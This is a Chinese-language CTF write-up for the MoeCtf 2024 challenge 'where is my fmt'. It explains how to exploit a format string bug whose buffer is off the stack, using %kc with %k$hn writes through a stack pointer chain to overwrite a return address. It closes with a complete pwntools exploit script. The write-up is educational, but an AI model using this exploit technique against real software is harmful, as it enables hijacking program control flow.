简介
最近刷题碰到了非栈上的格式化字符串漏洞。
这类题的特点是格式化字符串不在栈上,那么就不能用fmt_str工具来任意地址写了,而是必须要自己手搓。
那么如何手搓呢?
主要是利用%kc和%k$hn(双字节)或者%k$hhn(单字节)。
%kc(k是一个整数)的作用是打印k个空字符,这样的话可以控制%k$n写入的值。
%k$n的作用是对于第k个参数(必须是指针类型),往其指向的地址写入已打印的字符个数。
具体如何操作,请看例题。
例题 MoeCtf 2024--where is my fmt
buf在bss段,然后给了三次格式化字符串漏洞。
第一次printf的栈:
大体思路就是,先利用第一次printf泄露栈地址和libc地址(本题有后门,可以不用)
然后修改某个函数的返回地址为backdoor地址。
比如说,上面红框里面是vul函数的返回地址,我们是不能直接修改这个值的。
例如这种情况,栈地址-->addr2--->addr3,已知栈地址是第几个参数,我们能修改的是addr3。
栈上一般都有一些符合上述形式的链,如蓝色筐。我们可以修改addr3为0x7ffd9784e138(vul函数返回地址在栈上的位置)。
这样的话,我们只需要知道addr2是第几个参数,那么我们就可以通过addr2-->addr3--->vul_ret_addr 来修改vul函数的返回地址。
ps:在做题的时候,我发现一次printf只能使用一次%k$n,具体原因不明。
exp
from pwn import *
from pwncli import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def debug():
gdb.attach(p)
pause()
#先泄露栈地址和libc地址
p.recvuntil(b'chances.\n')
payload = b'%8$p %7$p'
debug()
p.send(payload)
stack_addr = int(p.recv(14),16)
stack_vul_ret = stack_addr + (0x7ffd128984d8-0x7ffd128984e0)
log.success('vul_ret:'+hex(stack_vul_ret))
backdoor = 0x401205
#修改成栈地址->addr1->addr2(改成main_ret)
p.recvuntil(b'chances.\n')
payload2 = b'%'+str(stack_vul_ret & 0xffff).encode()+b'c'
payload2+=b'%15$hn'
# debug()
p.send(payload2)
p.recvuntil(b'chances.\n')
payload3 = b'%'+str(backdoor&0xffff).encode()+b'c'+b'%45$hn'
p.send(payload3)
p.interactive()